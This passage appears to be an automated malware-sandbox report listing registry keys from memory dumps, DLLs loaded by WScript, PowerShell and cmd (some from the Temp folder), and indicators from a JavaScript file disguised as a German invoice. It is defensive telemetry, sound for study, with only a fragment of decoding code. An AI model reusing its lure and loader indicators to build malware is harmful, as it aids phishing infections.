"HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007652.00000000.236228.076B2000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007652.00000001.238147.02F00000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007652.00000001.238147.076B2000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00007652.00000001.238147.076B2000.00000004.mdmp "7367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00007652.00000001.238147.076B2000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007652.00000001.238147.085F0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007652.00000002.240067.02F00000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007652.00000002.240067.076B2000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00007652.00000002.240067.076B2000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}" in Source: 00000000-00007652.00000002.240067.085F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00007652.00000002.240067.085F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00007652.00000002.240067.085F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00007652.00000002.240067.085F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F812-1" in Source: 00000000-00007652.00000002.240067.085F0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007652.00000003.240750.02F00000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007652.00000003.240750.076B2000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00007652.00000003.240750.076B2000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00007652.00000003.240750.085F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00007652.00000003.240750.085F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00007652.00000003.240750.085F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}" in Source: 00000000-00007652.00000003.240750.085F0000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00007652.00000003.240750.6F541000.00000020.mdmp "Software\Microsoft\RemovalTools\MRT" in Source: 00000000-00007652.00000003.240750.6F541000.00000020.mdmp "HKLM\" in Source: 00000000-00007652.00000003.240750.6F541000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00007652.00000003.240750.6F541000.00000020.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007652.00000003.240750.6F541000.00000020.mdmp36:T4a3b,"WScript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff894f60000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff8b1ff0000 "WScript.exe" loaded module "RPCRT4.DLL" at base 7ff8b66b0000 "WScript.exe" loaded module "KERNEL32.DLL" at base 7ff8b6470000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\JSCRIPT.DLL" at base 7ff8935d0000 "WScript.exe" loaded module "AMSI.DLL" at base 7ff8a0000000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff8abb10000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff89f990000 "WScript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff8b46f0000 "WScript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff8b46f0000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff8b46f0000 "WScript.exe" loaded module "KERNEL32" at base 7ff8b6470000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\7IP7E5T4.DLL" at base 7ff89e860000 "WScript.exe" loaded module "WLDP.DLL" at base 7ff8b29e0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff8b6830000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ff8b4a00000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff8b2df0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ff8a0a70000 "WScript.exe" loaded module "OLE32.DLL" at base 7ff8b6d10000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff8b3c30000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ff89e970000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 7ff89e410000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 7ff89e130000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ff88e890000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ff8b6470000 "WScript.exe" loaded module "USERENV.DLL" at base 7ff8b38e0000 "WScript.exe" loaded module "VERSION.DLL" at base 7ff8abb10000 "WScript.exe" loaded module "SHELL32.DLL" at base 7ff8b4be0000 "WScript.exe" loaded module "NTDLL.DLL" at base 7ff8b7660000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ff8b0050000 "WScript.exe" loaded module "USER32.DLL" at base 7ff8b6520000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7ff89e520000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 7ff8b4be0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ff8a94a0000 "WScript.exe" loaded module "MSISO.DLL" at base 7ff8a63c0000 "WScript.exe" loaded module "SSPICLI.DLL" at base 7ff8b38b0000 "WScript.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ff8b46f0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ff8b3fa0000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff894f60000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ff8b6470000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ff8b6830000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff8b46f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff8b46f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff8b46f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff88e7e0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ff8b6cb0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff8b3a40000 "powershell.exe" loaded module "VERSION.DLL" at base 7ff8abb10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff886c20000 "powershell.exe" loaded module "USER32.DLL" at base 7ff8b6520000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff8b46f0000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ff8a5de0000 "powershell.exe" loaded module "NTDLL" at base 7ff8b7660000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff8b68e0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ff8b66b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ff885560000 "powershell.exe" loaded module "OLE32.DLL" at base 7ff8b6d10000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff8b68e0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ff8b6ec0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ff8848f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ff883e70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ff883dc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff8b2df0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff8b4a60000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ff881d50000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ff8b68e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ff8b68e0000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ff8b7660000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ff8b4be0000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ff8b6c00000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ff8b4a00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ff8b4a00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff8b3c30000 "powershell.exe" loaded module "AMSI.DLL" at base 7ff8a0000000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff8abb10000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff89f990000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ff8b3c30000 "powershell.exe" loaded module "KERNEL32" at base 7ff8b6470000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\7IP7E5T4.DLL" at base 7ff89e860000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff881cb0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff881b40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff8819d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ff881120000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ff898510000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ff8807b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff880440000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff8b46f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff8802f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ff895390000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff880210000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff8800d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ff8983c0000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ff8ab6a0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ff8b38b0000 "powershell.exe" loaded module "WLDP.DLL" at base 7ff8b29e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff8b1ff0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ff88e890000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ff8b6470000 "powershell.exe" loaded module "USERENV.DLL" at base 7ff8b38e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff8b6830000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ff8b68e0000 "powershell.exe" loaded module "OLEAUT32" at base 7ff8b6ec0000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ff8b3510000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff894f60000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ff8b7660000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ff8b6470000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ff895390000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ff893700000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff8801b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff8800d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ff87f3c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ff8a5df0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ff87f180000 "powershell.exe" loaded module "USER32" at base 7ff8b6520000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 738b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73830000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 74080000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 748f0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPRESOLVER.DLL" at base 737c0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 748f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 735d0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWS.STORAGE.DLL" at base 74080000 "powershell.exe" loaded module "NTDLL.DLL" at base 770b0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 76320000 "powershell.exe" loaded module "CSCAPI.DLL" at base 72fe0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 73b10000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 76cf0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76140000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76140000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76140000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 737a0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 73e60000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 74020000 "powershell.exe" loaded module "VERSION.DLL" at base 73790000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 72750000 "powershell.exe" loaded module "USER32.DLL" at base 76740000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 76140000 "powershell.exe" loaded module "MSCOREE.DLL" at base 73a40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 749c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 71340000 "powershell.exe" loaded module "OLE32.DLL" at base 76df0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 749c0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 76540000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 734f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 76140000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 73460000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 708e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 700c0000 "powershell.exe" loaded module "COMBASE.DLL" at base 749c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 749c0000 "powershell.exe" loaded module "PSAPI.DLL" at base 748e0000 "powershell.exe" loaded module "SHELL32.DLL" at base 74c10000 "powershell.exe" loaded module "WINTRUST.DLL" at base 74030000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 6f940000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 74030000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 74650000 "powershell.exe" loaded module "CRYPT32.DLL" at base 74650000 "powershell.exe" loaded module "AMSI.DLL" at base 73450000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 73790000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 73400000 "powershell.exe" loaded module "KERNEL32" at base 748f0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\7IP7E5T4.DLL" at base 733c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\E7F9E4AF50C666B5FEC85987C303915A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 73340000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 6f5e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 749c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 732f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 731e0000 "powershell.exe" loaded module "SECUR32.DLL" at base 731d0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 73ad0000 "powershell.exe" loaded module "WLDP.DLL" at base 731b0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 6f540000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 748f0000 "powershell.exe" loaded module "USERENV.DLL" at base 73420000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76cf0000 "powershell.exe" loaded module "OLEAUT32" at base 76540000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 731a0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 6f4d0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPXSIP.DLL" at base 6f4a0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 6ef60000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 6ef30000 "powershell.exe" loaded module "CRYPTNET.DLL" at base 6ef30000 "powershell.exe" loaded module "BCRYPT.DLL" at base 730f0000 "powershell.exe" loaded module "URLMON.DLL" at base 6f1c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 76140000 "powershell.exe" loaded module "MSISO.DLL" at base 6ee90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER\V4.0_10.0.0.0__31BF3856AD364E35\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER.DLL" at base 6ede0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.W2DED559F#\CB1E5BFDA7A83C0F98ED119C032F5741\MICROSOFT.WINDOWSAUTHENTICATIONPROTOCOLS.COMMANDS.NI.DLL" at base 6ea40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.I6720438C#\12ADA7134F10459858F43FFC5253E48A\MICROSOFT.IIS.POWERSHELL.PROVIDER.NI.DLL" at base 6e930000 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 6ef60000 "powershell.exe" loaded module "MI.DLL" at base 6e400000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WMIDCOM.DLL" at base 6e370000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76140000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 731a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6f420000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6f360000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 76140000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 76140000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 748f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 7614000037:T534,file/memory contains long string with (Indicator: "New-Object"; File: "Rechnung 103971 GmbH 10-02-2026.js") file/memory contains long string with (Indicator: "New-Object"; File: "search_crc_NQFEMERLh.cmd") file/memory contains long string with (Indicator: "powershell_ise.exe"; File: "RAP3MVT72BSEYKQWA9FG.temp") file/memory contains long string with (Indicator: "New-Object"; File: "AMSI") file/memory contains long string with (Indicator: "Test-Path"; File: "AMSI") Found string "New-Object byte[] $n;for($i=0;$i-lt$k" (Indicator: "New-Object"; Source: "00000000-00000868.00000000.235762.29D10000.00000004.mdmp, 00000000-00000868.00000001.236285.29D10000.00000004.mdmp") file/memory contains long string with (Indicator: "New-Object"; Source: "00000000-00000868.00000000.235762.29D10000.00000004.mdmp, 00000000-00000868.00000000.235762.29FB0000.00000004.mdmp, 00000000-00000868.00000000.235762.2B7E0000.00000004.mdmp, 00000000-00000868.00000000.235762.44120000.00000004.mdmp, 00000000-00000868.00000000.235762.44710000.00000004.mdmp, 00000000-00000868.00000001.236285.29D10000.00000004.mdmp, 